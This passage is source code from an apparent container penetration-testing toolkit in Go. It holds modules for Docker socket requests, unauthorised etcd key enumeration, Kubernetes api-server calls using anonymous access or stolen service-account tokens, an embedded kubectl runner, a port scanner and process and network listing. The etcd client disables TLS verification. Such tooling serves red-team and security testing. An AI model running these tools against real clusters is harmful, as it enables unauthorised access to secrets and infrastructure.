| "log" 23 | ) 24 | 25 | func UcurlToolApi(args []string) { 26 | if len(args) != 4 { 27 | log.Fatal("invalid input args, Example: ./cdk ucurl get /var/run/docker.sock http://127.0.0.1/info \"\"") 28 | } 29 | ans, err := util.UnixHttpSend(args[0], args[1], args[2], args[3]) 30 | if err != nil { 31 | log.Fatalln(err) 32 | } 33 | log.Println("response:") 34 | fmt.Println(ans) 35 | } 36 | 37 | func DcurlToolApi(args []string) { 38 | if len(args) != 3 { 39 | log.Fatal("invalid input args, Example: ./cdk dcurl get http://127.0.0.1:2375/info \"\"") 40 | } 41 | ans, err := util.HttpSendJson(args[0], args[1], args[2]) 42 | if err != nil { 43 | log.Fatalln(err) 44 | } 45 | log.Println("response:") 46 | fmt.Println(ans) 47 | } 48 | -------------------------------------------------------------------------------- /pkg/tool/etcdctl/common.go: -------------------------------------------------------------------------------- 1 | /* 2 | Copyright 2022 The Authors of https://github.com/CDK-TEAM/CDK . 3 | 4 | Licensed under the Apache License, Version 2.0 (the "License"); 5 | you may not use this file except in compliance with the License. 6 | You may obtain a copy of the License at 7 | 8 | http://www.apache.org/licenses/LICENSE-2.0 9 | 10 | Unless required by applicable law or agreed to in writing, software 11 | distributed under the License is distributed on an "AS IS" BASIS, 12 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | See the License for the specific language governing permissions and 14 | limitations under the License. 15 | */ 16 | 17 | package etcdctl 18 | 19 | import ( 20 | "bytes" 21 | "crypto/tls" 22 | "encoding/base64" 23 | "fmt" 24 | "io/ioutil" 25 | "net/http" 26 | "strings" 27 | "time" 28 | 29 | "github.com/cdk-team/CDK/pkg/errors" 30 | "github.com/tidwall/gjson" 31 | ) 32 | 33 | type EtcdRequestOption struct { 34 | Endpoint string 35 | Api string 36 | PostData string 37 | TlsConfig *tls.Config 38 | Method string 39 | Silent bool 40 | } 41 | 42 | func DoRequest(opt EtcdRequestOption) (string, error) { 43 | // http client 44 | if opt.TlsConfig == nil || len(opt.TlsConfig.Certificates) == 0 || opt.TlsConfig.RootCAs == nil { 45 | opt.TlsConfig = &tls.Config{InsecureSkipVerify: true} 46 | } 47 | client := &http.Client{ 48 | Transport: &http.Transport{ 49 | TLSClientConfig: opt.TlsConfig, 50 | }, 51 | Timeout: time.Duration(5) * time.Second, 52 | } 53 | 54 | request, err := http.NewRequest(opt.Method, opt.Endpoint+opt.Api, bytes.NewBuffer([]byte(opt.PostData))) 55 | if err != nil { 56 | return "", &errors.CDKRuntimeError{Err: err, CustomMsg: "err found while generate post request in net.http ."} 57 | } 58 | request.Header.Set("Content-Type", "application/json") 59 | 60 | resp, err := client.Do(request) 61 | if resp != nil { 62 | defer resp.Body.Close() 63 | } else if err != nil { 64 | return "", &errors.CDKRuntimeError{Err: err, CustomMsg: "err found in post request."} 65 | } 66 | 67 | content, err := ioutil.ReadAll(resp.Body) 68 | if err != nil { 69 | return "", &errors.CDKRuntimeError{Err: err, CustomMsg: "err found in post request."} 70 | } 71 | 72 | return string(content), nil 73 | } 74 | 75 | func GetKeys(content string, silent bool) (map[string]string, error) { 76 | kvs := gjson.Get(content, "kvs").Array() 77 | ret := make(map[string]string, len(kvs)) 78 | for _, k := range kvs { 79 | name, err := base64.StdEncoding.DecodeString(k.Get("key").String()) 80 | if err != nil { 81 | fmt.Println("base64 decode failed:", err.Error()) 82 | continue 83 | } 84 | 85 | ret[string(name)] = "" 86 | if !silent { 87 | fmt.Println(string(name)) 88 | } 89 | 90 | if k.Get("value").Exists() { 91 | v, _ := base64.StdEncoding.DecodeString(k.Get("value").String()) 92 | if !silent { 93 | fmt.Println(string(v)) 94 | } 95 | ret[string(name)] = string(v) 96 | } 97 | } 98 | return ret, nil 99 | } 100 | 101 | func GenerateQuery(key string) (query string) { 102 | b64key := base64.StdEncoding.EncodeToString([]byte(strings.TrimSuffix(key, "\n"))) 103 | if key == "/" { 104 | bzero := base64.StdEncoding.EncodeToString([]byte{0}) 105 | query = fmt.Sprintf("{\"range_end\": \"%s\", \"key\": \"%s\", \"keys_only\":true}", bzero, b64key) 106 | } else { 107 | query = fmt.Sprintf("{\"key\": \"%s\"}", b64key) 108 | } 109 | return 110 | } 111 | 112 | // Only v3 version is supported,lower version support comments reserved. 113 | func GetVersion(endpoint string) (string, string, error) { 114 | opt := EtcdRequestOption{ 115 | Endpoint: endpoint, 116 | Api: "/version", 117 | Method: "GET", 118 | } 119 | resp, err := DoRequest(opt) 120 | if err != nil { 121 | return "", "", err 122 | } 123 | sv := gjson.Get(resp, "etcdserver").String() 124 | cv := gjson.Get(resp, "etcdcluster").String() 125 | return sv, cv, nil 126 | } 127 | -------------------------------------------------------------------------------- /pkg/tool/etcdctl/ectl.go: -------------------------------------------------------------------------------- 1 | /* 2 | Copyright 2022 The Authors of https://github.com/CDK-TEAM/CDK . 3 | 4 | Licensed under the Apache License, Version 2.0 (the "License"); 5 | you may not use this file except in compliance with the License. 6 | You may obtain a copy of the License at 7 | 8 | http://www.apache.org/licenses/LICENSE-2.0 9 | 10 | Unless required by applicable law or agreed to in writing, software 11 | distributed under the License is distributed on an "AS IS" BASIS, 12 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | See the License for the specific language governing permissions and 14 | limitations under the License. 15 | */ 16 | 17 | package etcdctl 18 | 19 | import ( 20 | "fmt" 21 | "net/url" 22 | "strings" 23 | ) 24 | 25 | var ectlBanner = `ectl - Unauthorized enumeration of ectd keys. 26 | 27 | Usage: 28 | ./cdk ectl get 29 | 30 | Example: 31 | ./cdk ectl http://172.16.5.4:2379 get / 32 | ` 33 | 34 | func EtcdctlToolApi(args []string) { 35 | var opt = EtcdRequestOption{} 36 | // err break 37 | if len(args) != 3 { 38 | fmt.Println(ectlBanner) 39 | return 40 | } 41 | u, err := url.Parse(args[0]) 42 | if err != nil { 43 | fmt.Println(ectlBanner) 44 | return 45 | } 46 | opt.Endpoint = fmt.Sprintf("%s://%s", u.Scheme, u.Host) 47 | opt.Api = u.Path 48 | 49 | switch strings.ToUpper(args[1]) { 50 | case "GET": 51 | opt.Api = "/v3/kv/range" 52 | opt.Method = "POST" 53 | opt.PostData = GenerateQuery(args[2]) 54 | resp, err := DoRequest(opt) 55 | if err != nil { 56 | fmt.Println(err) 57 | return 58 | } 59 | GetKeys(resp, false) 60 | default: // err break 61 | fmt.Println(ectlBanner) 62 | return 63 | } 64 | } 65 | -------------------------------------------------------------------------------- /pkg/tool/kubectl/assets/.gitkeep: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cdk-team/CDK/02c2e5d576a51b603e07eb036073eb1c5a0c4c4d/pkg/tool/kubectl/assets/.gitkeep -------------------------------------------------------------------------------- /pkg/tool/kubectl/assets/kubectl-amd64: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cdk-team/CDK/02c2e5d576a51b603e07eb036073eb1c5a0c4c4d/pkg/tool/kubectl/assets/kubectl-amd64 -------------------------------------------------------------------------------- /pkg/tool/kubectl/kcurl.go: -------------------------------------------------------------------------------- 1 | /* 2 | Copyright 2022 The Authors of https://github.com/CDK-TEAM/CDK . 3 | 4 | Licensed under the Apache License, Version 2.0 (the "License"); 5 | you may not use this file except in compliance with the License. 6 | You may obtain a copy of the License at 7 | 8 | http://www.apache.org/licenses/LICENSE-2.0 9 | 10 | Unless required by applicable law or agreed to in writing, software 11 | distributed under the License is distributed on an "AS IS" BASIS, 12 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | See the License for the specific language governing permissions and 14 | limitations under the License. 15 | */ 16 | 17 | package kubectl 18 | 19 | import ( 20 | "fmt" 21 | "github.com/cdk-team/CDK/conf" 22 | "log" 23 | "strings" 24 | ) 25 | 26 | var kcurlBanner = `kcurl - send HTTP request to K8s api-server. 27 | 28 | Usage: 29 | ./cdk kcurl (|anonymous|default) (get|post) [] 30 | 31 | Options: 32 | token_path connect api-server with user-specified service-account token. 33 | anonymous connect api-server using system:anonymous service-account. 34 | default connect api-server using pod default service-account token. 35 | 36 | Example: 37 | ./cdk kcurl default get 'https://192.168.0.234:6443/api/v1/nodes' 38 | ./cdk kcurl /var/run/secrets/kubernetes.io/serviceaccount/token get 'https://192.168.0.234:6443/api/v1/nodes' 39 | ./cdk kcurl anonymous post 'https://192.168.0.234:6443/api/v1/nodes' '{"apiVersion":"v1",...}' 40 | ` 41 | 42 | func KubectlToolApi(args []string) { 43 | 44 | var opts = K8sRequestOption{} 45 | 46 | // err break 47 | if len(args) != 3 && len(args) != 4 { 48 | fmt.Println(kcurlBanner) 49 | return 50 | } 51 | 52 | switch args[0] { 53 | case "default": 54 | opts.TokenPath = conf.K8sSATokenDefaultPath 55 | case "anonymous": 56 | opts.TokenPath = "" 57 | opts.Anonymous = true 58 | default: 59 | opts.TokenPath = args[0] 60 | } 61 | 62 | switch strings.ToUpper(args[1]) { 63 | case "POST": 64 | opts.Method = "POST" 65 | case "GET": 66 | opts.Method = "GET" 67 | default: // err break 68 | fmt.Println(kcurlBanner) 69 | return 70 | } 71 | 72 | if len(args) == 3 { 73 | opts.Url = args[2] 74 | } else { 75 | opts.Url = args[2] 76 | opts.PostData = args[3] 77 | } 78 | 79 | resp, err := ServerAccountRequest(opts) 80 | if err != nil { 81 | log.Println("failed to get api-server response") 82 | fmt.Println(err) 83 | } else { 84 | log.Println("api-server response:") 85 | fmt.Println(resp) 86 | } 87 | } 88 | -------------------------------------------------------------------------------- /pkg/tool/kubectl/kubectl_bin.go: -------------------------------------------------------------------------------- 1 | package kubectl 2 | 3 | import ( 4 | "bytes" 5 | _ "embed" 6 | "os" 7 | "os/exec" 8 | "path/filepath" 9 | ) 10 | 11 | //go:embed assets/kubectl-amd64 12 | var kubectlBinary []byte 13 | 14 | func ExtractKubectl() (string, error) { 15 | tmpDir, err := os.MkdirTemp("", ".bin") 16 | if err != nil { 17 | return "", err 18 | } 19 | 20 | kubectlPath := filepath.Join(tmpDir, "kubectl") 21 | 22 | err = os.WriteFile(kubectlPath, kubectlBinary, 0755) 23 | if err != nil { 24 | return "", err 25 | } 26 | 27 | return kubectlPath, nil 28 | } 29 | 30 | func ExecKubectl(kubectlPath string, args []string) (out string, errStr string) { 31 | 32 | // Example: Run "kubectl version --client" 33 | cmd := exec.Command(kubectlPath, args...) 34 | 35 | // 执行命令并将结果放到 out 和 err 中 36 | var stdout, stderr bytes.Buffer 37 | cmd.Stdout = &stdout 38 | cmd.Stderr = &stderr 39 | 40 | err := cmd.Run() 41 | 42 | out = stdout.String() 43 | errStr = stderr.String() 44 | 45 | if err != nil { 46 | errStr = err.Error() + "\n" + errStr 47 | return out, errStr 48 | } 49 | 50 | return out, errStr 51 | 52 | } 53 | -------------------------------------------------------------------------------- /pkg/tool/netcat/thin_code.go: -------------------------------------------------------------------------------- 1 | //go:build thin || no_netcat_tool 2 | // +build thin no_netcat_tool 3 | 4 | /* 5 | Copyright 2022 The Authors of https://github.com/CDK-TEAM/CDK . 6 | 7 | Licensed under the Apache License, Version 2.0 (the "License"); 8 | you may not use this file except in compliance with the License. 9 | You may obtain a copy of the License at 10 | 11 | http://www.apache.org/licenses/LICENSE-2.0 12 | 13 | Unless required by applicable law or agreed to in writing, software 14 | distributed under the License is distributed on an "AS IS" BASIS, 15 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 16 | See the License for the specific language governing permissions and 17 | limitations under the License. 18 | */ 19 | 20 | package netcat 21 | 22 | import "github.com/cdk-team/CDK/conf" 23 | 24 | func RunVendorNetcat() { 25 | print(conf.ThinIgnoreTool) 26 | return 27 | } 28 | -------------------------------------------------------------------------------- /pkg/tool/netstat/netstat.go: -------------------------------------------------------------------------------- 1 | package netstat 2 | 3 | import ( 4 | "fmt" 5 | "github.com/shirou/gopsutil/v3/net" 6 | "log" 7 | "sort" 8 | ) 9 | 10 | func RunNetstat() { 11 | log.Printf("[+] run netstat, using RunNestat()") 12 | stats, err := net.Connections("all") 13 | if err != nil { 14 | fmt.Println(err.Error()) 15 | return 16 | } 17 | fmt.Printf("ipType\t\tconnection\tlocalAddr\t\t\tstatus\t\t\tremoteAddr\t\t\tpid\n") 18 | sort.Slice(stats, func(i, j int) bool { 19 | return stats[i].Type < stats[j].Type 20 | }) 21 | for _, stat := range stats { 22 | switch stat.Family { 23 | case 2: 24 | switch stat.Type { 25 | case 1: 26 | fmt.Printf("ipv4\t\ttcp\t\t%-16s\t\t%-13s\t\t%-16s\t\t%d\n", fmt.Sprintf("%s:%d", stat.Laddr.IP, stat.Laddr.Port), stat.Status, fmt.Sprintf("%s:%d", stat.Raddr.IP, stat.Raddr.Port), stat.Pid) 27 | case 2: 28 | fmt.Printf("ipv4\t\tudp\t\t%-16s\t\t%-13s\t\t%-16s\t\t%d\n", fmt.Sprintf("%s:%d", stat.Laddr.IP, stat.Laddr.Port), stat.Status, fmt.Sprintf("%s:%d", stat.Raddr.IP, stat.Raddr.Port), stat.Pid) 29 | } 30 | case 23: 31 | switch stat.Type { 32 | case 1: 33 | fmt.Printf("ipv6\t\ttcp\t\t%-16s\t\t%-13s\t\t%-16s\t\t%d\n", fmt.Sprintf("%s:%d", stat.Laddr.IP, stat.Laddr.Port), stat.Status, fmt.Sprintf("%s:%d", stat.Raddr.IP, stat.Raddr.Port), stat.Pid) 34 | case 2: 35 | fmt.Printf("ipv6\t\tudp\t\t%-16s\t\t%-13s\t\t%-16s\t\t%d\n", fmt.Sprintf("%s:%d", stat.Laddr.IP, stat.Laddr.Port), stat.Status, fmt.Sprintf("%s:%d", stat.Raddr.IP, stat.Raddr.Port), stat.Pid) 36 | } 37 | 38 | } 39 | } 40 | } 41 | -------------------------------------------------------------------------------- /pkg/tool/network/network.go: -------------------------------------------------------------------------------- 1 | /* 2 | Copyright 2022 The Authors of https://github.com/CDK-TEAM/CDK . 3 | 4 | Licensed under the Apache License, Version 2.0 (the "License"); 5 | you may not use this file except in compliance with the License. 6 | You may obtain a copy of the License at 7 | 8 | http://www.apache.org/licenses/LICENSE-2.0 9 | 10 | Unless required by applicable law or agreed to in writing, software 11 | distributed under the License is distributed on an "AS IS" BASIS, 12 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | See the License for the specific language governing permissions and 14 | limitations under the License. 15 | */ 16 | 17 | package network 18 | 19 | import ( 20 | "fmt" 21 | "log" 22 | "net" 23 | ) 24 | 25 | func GetLocalAddresses() { 26 | log.Printf("[+] run ifconfig, using GetLocalAddresses()") 27 | ifaces, err := net.Interfaces() 28 | if err != nil { 29 | log.Print(fmt.Errorf("localAddresses: %v\n", err.Error())) 30 | return 31 | } 32 | for _, i := range ifaces { 33 | addrs, err := i.Addrs() 34 | if err != nil { 35 | log.Print(fmt.Errorf("localAddresses: %v\n", err.Error())) 36 | continue 37 | } 38 | for _, a := range addrs { 39 | log.Printf("%v %v\n", i.Name, a) 40 | } 41 | } 42 | } 43 | -------------------------------------------------------------------------------- /pkg/tool/probe/common.go: -------------------------------------------------------------------------------- 1 | /* 2 | Copyright 2022 The Authors of https://github.com/CDK-TEAM/CDK . 3 | 4 | Licensed under the Apache License, Version 2.0 (the "License"); 5 | you may not use this file except in compliance with the License. 6 | You may obtain a copy of the License at 7 | 8 | http://www.apache.org/licenses/LICENSE-2.0 9 | 10 | Unless required by applicable law or agreed to in writing, software 11 | distributed under the License is distributed on an "AS IS" BASIS, 12 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | See the License for the specific language governing permissions and 14 | limitations under the License. 15 | */ 16 | 17 | package probe 18 | 19 | import ( 20 | "fmt" 21 | "github.com/cdk-team/CDK/conf" 22 | "os/exec" 23 | "strconv" 24 | "strings" 25 | ) 26 | 27 | type FromTo struct { 28 | Desc string 29 | From int 30 | To int 31 | } 32 | 33 | func GetTaskPortList() ([]FromTo, int) { 34 | res := make([]FromTo, 0) 35 | tot := 0 36 | 37 | for desc, port := range conf.TCPScannerConf.PortList { 38 | from := 0 39 | to := 0 40 | fromTo := strings.Split(port, "-") 41 | from, _ = strconv.Atoi(fromTo[0]) 42 | to = from 43 | if len(fromTo) == 2 { 44 | to, _ = strconv.Atoi(fromTo[1]) 45 | } 46 | a := FromTo{ 47 | Desc: desc, 48 | From: from, 49 | To: to, 50 | } 51 | res = append(res, a) 52 | tot += 1 + to - from 53 | } 54 | return res, tot 55 | } 56 | 57 | func GetTaskPortListByString(s string) ([]FromTo, int) { 58 | res := make([]FromTo, 0) 59 | tot := 0 60 | 61 | for _, port := range strings.Split(s, ",") { 62 | from := 0 63 | to := 0 64 | fromTo := strings.Split(port, "-") 65 | from, _ = strconv.Atoi(fromTo[0]) 66 | to = from 67 | if len(fromTo) == 2 { 68 | to, _ = strconv.Atoi(fromTo[1]) 69 | } 70 | a := FromTo{ 71 | Desc: "", 72 | From: from, 73 | To: to, 74 | } 75 | res = append(res, a) 76 | tot += 1 + to - from 77 | } 78 | return res, tot 79 | } 80 | 81 | func GetTaskIPList(ip string) (base string, start, end int, err error) { 82 | fromTo := strings.Split(ip, "-") 83 | ipStart := fromTo[0] 84 | err = fmt.Errorf("Invalid IP Range (eg. 1.1.1.1-3)\n") 85 | 86 | tIp := strings.Split(ipStart, ".") 87 | if len(tIp) != 4 { 88 | return 89 | } 90 | start, _ = strconv.Atoi(tIp[3]) 91 | end = start 92 | if len(fromTo) == 2 { 93 | end, _ = strconv.Atoi(fromTo[1]) 94 | } 95 | if end == 0 { 96 | return 97 | } 98 | base = fmt.Sprintf("%s.%s.%s", tIp[0], tIp[1], tIp[2]) 99 | err = nil 100 | return 101 | } 102 | 103 | func Ulimit() int64 { 104 | out, err := exec.Command("ulimit", "-n").Output() 105 | if err != nil { 106 | panic(err) 107 | } 108 | 109 | s := strings.TrimSpace(string(out)) 110 | 111 | i, err := strconv.ParseInt(s, 10, 64) 112 | if err != nil { 113 | panic(err) 114 | } 115 | return i 116 | } 117 | -------------------------------------------------------------------------------- /pkg/tool/probe/common_test.go: -------------------------------------------------------------------------------- 1 | /* 2 | Copyright 2022 The Authors of https://github.com/CDK-TEAM/CDK . 3 | 4 | Licensed under the Apache License, Version 2.0 (the "License"); 5 | you may not use this file except in compliance with the License. 6 | You may obtain a copy of the License at 7 | 8 | http://www.apache.org/licenses/LICENSE-2.0 9 | 10 | Unless required by applicable law or agreed to in writing, software 11 | distributed under the License is distributed on an "AS IS" BASIS, 12 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | See the License for the specific language governing permissions and 14 | limitations under the License. 15 | */ 16 | 17 | package probe 18 | 19 | import ( 20 | "github.com/stretchr/testify/assert" 21 | "testing" 22 | ) 23 | 24 | func TestGetTaskPortListByString(t *testing.T) { 25 | expect := make([]FromTo, 0) 26 | expect = append(expect, FromTo{ 27 | Desc: "", 28 | From: 1, 29 | To: 1, 30 | }) 31 | expect = append(expect, FromTo{ 32 | Desc: "", 33 | From: 2, 34 | To: 2, 35 | }) 36 | expect = append(expect, FromTo{ 37 | Desc: "", 38 | From: 3, 39 | To: 5, 40 | }) 41 | 42 | act, _ := GetTaskPortListByString("1,2,3-5") 43 | assert.Equal(t, expect, act, "That should be equal") 44 | } 45 | -------------------------------------------------------------------------------- /pkg/tool/probe/net.go: -------------------------------------------------------------------------------- 1 | //go:build !no_probe_tool 2 | // +build !no_probe_tool 3 | 4 | /* 5 | Copyright 2022 The Authors of https://github.com/CDK-TEAM/CDK . 6 | 7 | Licensed under the Apache License, Version 2.0 (the "License"); 8 | you may not use this file except in compliance with the License. 9 | You may obtain a copy of the License at 10 | 11 | http://www.apache.org/licenses/LICENSE-2.0 12 | 13 | Unless required by applicable law or agreed to in writing, software 14 | distributed under the License is distributed on an "AS IS" BASIS, 15 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 16 | See the License for the specific language governing permissions and 17 | limitations under the License. 18 | */ 19 | 20 | package probe 21 | 22 | import ( 23 | "context" 24 | "fmt" 25 | "log" 26 | "net" 27 | "strings" 28 | "sync" 29 | "time" 30 | 31 | "github.com/cdk-team/CDK/conf" 32 | "golang.org/x/sync/semaphore" 33 | ) 34 | 35 | type PortScanner struct { 36 | ipRange string 37 | portRange []FromTo 38 | lock *semaphore.Weighted 39 | timeout time.Duration 40 | } 41 | 42 | func ScanPort(ip string, port int, timeout time.Duration) bool { 43 | target := fmt.Sprintf("%s:%d", ip, port) 44 | conn, err := net.DialTimeout("tcp", target, timeout) 45 | 46 | if err != nil { 47 | if strings.Contains(err.Error(), "too many open files") { 48 | time.Sleep(timeout) 49 | ScanPort(ip, port, timeout) 50 | } 51 | return false 52 | } 53 | 54 | _ = conn.Close() 55 | return true 56 | } 57 | 58 | func (ps *PortScanner) Start() { 59 | wg := sync.WaitGroup{} 60 | defer wg.Wait() 61 | 62 | base, start, end, err := GetTaskIPList(ps.ipRange) 63 | if err != nil { 64 | log.Println("error found when gene ip list to scan task") 65 | log.Fatal(err) 66 | } 67 | 68 | // iterate ip in task list 69 | for ipExt := start; ipExt <= end; ipExt++ { 70 | ip := base + "." + fmt.Sprintf("%d", ipExt) 71 | // iterate port in task list 72 | for _, p := range ps.portRange { 73 | // iterate port from A-B 74 | for port := p.From; port <= p.To; port++ { 75 | // lock down the context 76 | ps.lock.Acquire(context.TODO(), 1) 77 | wg.Add(1) 78 | go func(port int, p FromTo) { 79 | defer ps.lock.Release(1) 80 | defer wg.Done() 81 | if ScanPort(ip, port, ps.timeout) { 82 | fmt.Printf("open %s: %s:%d\n", p.Desc, ip, port) 83 | } 84 | }(port, p) // send all sync objects into args 85 | } 86 | } 87 | } 88 | } 89 | 90 | func TCPScanExploitAPI(ipRange string) { 91 | portFromTo, _ := GetTaskPortList() 92 | timeout := time.Duration(conf.TCPScannerConf.Timeout) * time.Millisecond 93 | 94 | TCPPScan(ipRange, portFromTo, conf.TCPScannerConf.MaxParallel, timeout) 95 | } 96 | 97 | func TCPScanToolAPI(ipRange string, portRange string, parallel int64, timeoutMS int) { 98 | portFromTo, _ := GetTaskPortListByString(portRange) 99 | timeout := time.Duration(timeoutMS) * time.Millisecond 100 | 101 | TCPPScan(ipRange, portFromTo, parallel, timeout) 102 | } 103 | 104 | func TCPPScan(ipRange string, portRange []FromTo, parallel int64, timeout time.Duration) { 105 | 106 | ps := &PortScanner{ 107 | ipRange: ipRange, 108 | portRange: portRange, 109 | lock: semaphore.NewWeighted(parallel), 110 | timeout: timeout, 111 | } 112 | 113 | startTime := time.Now() 114 | log.Printf("scanning %v with user-defined ports, max parallels:%v, timeout:%v\n", ps.ipRange, parallel, ps.timeout) 115 | ps.Start() 116 | 117 | endTime := time.Now() 118 | useTime := int64(endTime.Sub(startTime).Seconds() * 1000) 119 | log.Printf("scanning use time:%vms\n", useTime) 120 | log.Printf("ending; @args is ips: %v, max parallels:%v, timeout:%v\n", ps.ipRange, conf.TCPScannerConf.MaxParallel, ps.timeout) 121 | 122 | } 123 | -------------------------------------------------------------------------------- /pkg/tool/probe/thin_code.go: -------------------------------------------------------------------------------- 1 | //go:build no_probe_tool 2 | // +build no_probe_tool 3 | 4 | /* 5 | Copyright 2022 The Authors of https://github.com/CDK-TEAM/CDK . 6 | 7 | Licensed under the Apache License, Version 2.0 (the "License"); 8 | you may not use this file except in compliance with the License. 9 | You may obtain a copy of the License at 10 | 11 | http://www.apache.org/licenses/LICENSE-2.0 12 | 13 | Unless required by applicable law or agreed to in writing, software 14 | distributed under the License is distributed on an "AS IS" BASIS, 15 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 16 | See the License for the specific language governing permissions and 17 | limitations under the License. 18 | */ 19 | 20 | package probe 21 | 22 | import "github.com/cdk-team/CDK/conf" 23 | 24 | func TCPScanToolAPI(ipRange string, portRange string, parallel int64, timeoutMS int) { 25 | print(conf.ThinIgnoreTool) 26 | return 27 | } 28 | 29 | func TCPScanExploitAPI(ipRange string) { 30 | print(conf.ThinIgnoreTool) 31 | return 32 | } 33 | -------------------------------------------------------------------------------- /pkg/tool/ps/ps.go: -------------------------------------------------------------------------------- 1 | /* 2 | Copyright 2022 The Authors of https://github.com/CDK-TEAM/CDK . 3 | 4 | Licensed under the Apache License, Version 2.0 (the "License"); 5 | you may not use this file except in compliance with the License. 6 | You may obtain a copy of the License at 7 | 8 | http://www.apache.org/licenses/LICENSE-2.0 9 | 10 | Unless required by applicable law or agreed to in writing, software 11 | distributed under the License is distributed on an "AS IS" BASIS, 12 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | See the License for the specific language governing permissions and 14 | limitations under the License. 15 | */ 16 | 17 | package ps 18 | 19 | import ( 20 | "fmt" 21 | "github.com/shirou/gopsutil/v3/process" 22 | "log" 23 | ) 24 | 25 | func RunPs() { 26 | ps, err := process.Processes() 27 | if err != nil { 28 | log.Fatal("get process list failed.") 29 | } 30 | for _, p := range ps { 31 | pexe, _ := p.Exe() 32 | ppid, _ := p.Ppid() 33 | user, _ := p.Username() 34 | fmt.Printf("%v\t%v\t%v\t%v\n", user, p.Pid, ppid, pexe) 35 | } 36 | } 37 | -------------------------------------------------------------------------------- /pkg/tool/vi/thin_code.go: -------------------------------------------------------------------------------- 1 | //go:build thin || no_vi_tool 2 | // +build thin no_vi_tool 3 | 4 | /* 5 | Copyright 2022 The Authors of https://github.com/CDK-TEAM/CDK . 6 | 7 | Licensed under the Apache License, Version 2.0 (the "License"); 8 | you may not use this file except in compliance with the License. 9 | You may obtain a copy of the License at 10 | 11 | http://www.apache.org/licenses/LICENSE-2.0 12 | 13 | Unless required by applicable law or agreed to in writing, software 14 | distributed under the License is distributed on an "AS IS" BASIS, 15 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 16 | See the License for the specific language governing permissions and 17 | limitations under the License. 18 | */ 19 | 20 | package vi 21 | 22 | import "github.com/cdk-team/CDK/conf" 23 | 24 | func RunVendorVi() { 25 | print(conf.ThinIgnoreTool) 26 | return 27 | } 28 | -------------------------------------------------------------------------------- /pkg/tool/vi/ven.go: -------------------------------------------------------------------------------- 1 | //go:build !thin && !no_vi_tool 2 | // +build !thin,!no_vi_tool 3 | 4 | /* 5 | Copyright 2022 The Authors of https://github.com/CDK-TEAM/CDK . 6 | 7 | Licensed under the Apache License, Version 2.0 (the "License"); 8 | you may not use this file except in compliance with the License. 9 | You may obtain a copy of the License at 10 | 11 | http://www.apache.org/licenses/LICENSE-2.0 12 | 13 | Unless required by applicable law or agreed to in writing, software 14 | distributed under the License is distributed on an "AS IS" BASIS, 15 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 16 | See the License for the specific language governing permissions and 17 | limitations under the License. 18 | */ 19 | 20 | package vi 21 | 22 | import ( 23 | "github.com/bkthomps/Ven/screen" 24 | "github.com/gdamore/tcell" 25 | "github.com/gdamore/tcell/encoding" 26 | "log" 27 | "os" 28 | ) 29 | 30 | func RunVendorVi() { 31 | 32 | if len(os.Args) != 2 { 33 | print("Usage: ./cdk vi \n") 34 | return 35 | } 36 | userArg := os.Args[1] 37 | tCellScreen, err := tcell.NewScreen() 38 | if err != nil { 39 | log.Fatal(err) 40 | } 41 | encoding.Register() 42 | quit := make(chan struct{}) 43 | s := &screen.Screen{} 44 | s.Init(tCellScreen, quit, userArg) 45 | <-quit 46 | tCellScreen.Fini() 47 | } 48 | -------------------------------------------------------------------------------- /pkg/util/capability/capability_test.go: -------------------------------------------------------------------------------- 1 | /* 2 | Copyright 2022 The Authors of https://github.com/CDK-TEAM/CDK . 3 | 4 | Licensed under the Apache License, Version 2.0 (the "License"); 5 | you may not use this file except in compliance with the License. 6 | You may obtain a copy of the License at 7 | 8 | http://www.apache.org/licenses/LICENSE-2.0 9 | 10 | Unless required by applicable law or agreed to in writing, software 11 | distributed under the License is distributed on an "AS IS" BASIS, 12 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | See the License for the specific language governing permissions and 14 | limitations under the License. 15 | */ 16 | 17 | package capability 18 | 19 | import ( 20 | "testing" 21 | ) 22 | 23 | func TestCapHexParser(t *testing.T) { 24 | var testcase = map[string]string{ 25 | "00000000a80425fb": "CAP_CHOWN,CAP_DAC_OVERRIDE,CAP_FOWNER,CAP_FSETID,CAP_KILL,CAP_SETGID,CAP_SETUID,CAP_SETPCAP,CAP_NET_BIND_SERVICE,CAP_NET_RAW,CAP_SYS_CHROOT,CAP_MKNOD,CAP_AUDIT_WRITE,CAP_SETFCAP", 26 | "00000000a80c25fb": "CAP_CHOWN,CAP_DAC_OVERRIDE,CAP_FOWNER,CAP_FSETID,CAP_KILL,CAP_SETGID,CAP_SETUID,CAP_SETPCAP,CAP_NET_BIND_SERVICE,CAP_NET_RAW,CAP_SYS_CHROOT,CAP_SYS_PTRACE,CAP_MKNOD,CAP_AUDIT_WRITE,CAP_SETFCAP", 27 | "00000000a82425fb": "CAP_CHOWN,CAP_DAC_OVERRIDE,CAP_FOWNER,CAP_FSETID,CAP_KILL,CAP_SETGID,CAP_SETUID,CAP_SETPCAP,CAP_NET_BIND_SERVICE,CAP_NET_RAW,CAP_SYS_CHROOT,CAP_SYS_ADMIN,CAP_MKNOD,CAP_AUDIT_WRITE,CAP_SETFCAP", 28 | } 29 | for k, v := range testcase { 30 | if CapHexToText(k) != v { 31 | t.Errorf("CapHexParser error parse %s: %s", k, v) 32 | } 33 | } 34 | } 35 | -------------------------------------------------------------------------------- /pkg/util/colorful.go: -------------------------------------------------------------------------------- 1 | package util 2 | 3 | import ( 4 | "fmt" 5 | "io" 6 | "log" 7 | "os" 8 | 9 | "github.com/fatih/color" 10 | ) 11 | 12 | type Level uint8 13 | 14 | const ( 15 | ERROR Level = iota 16 | 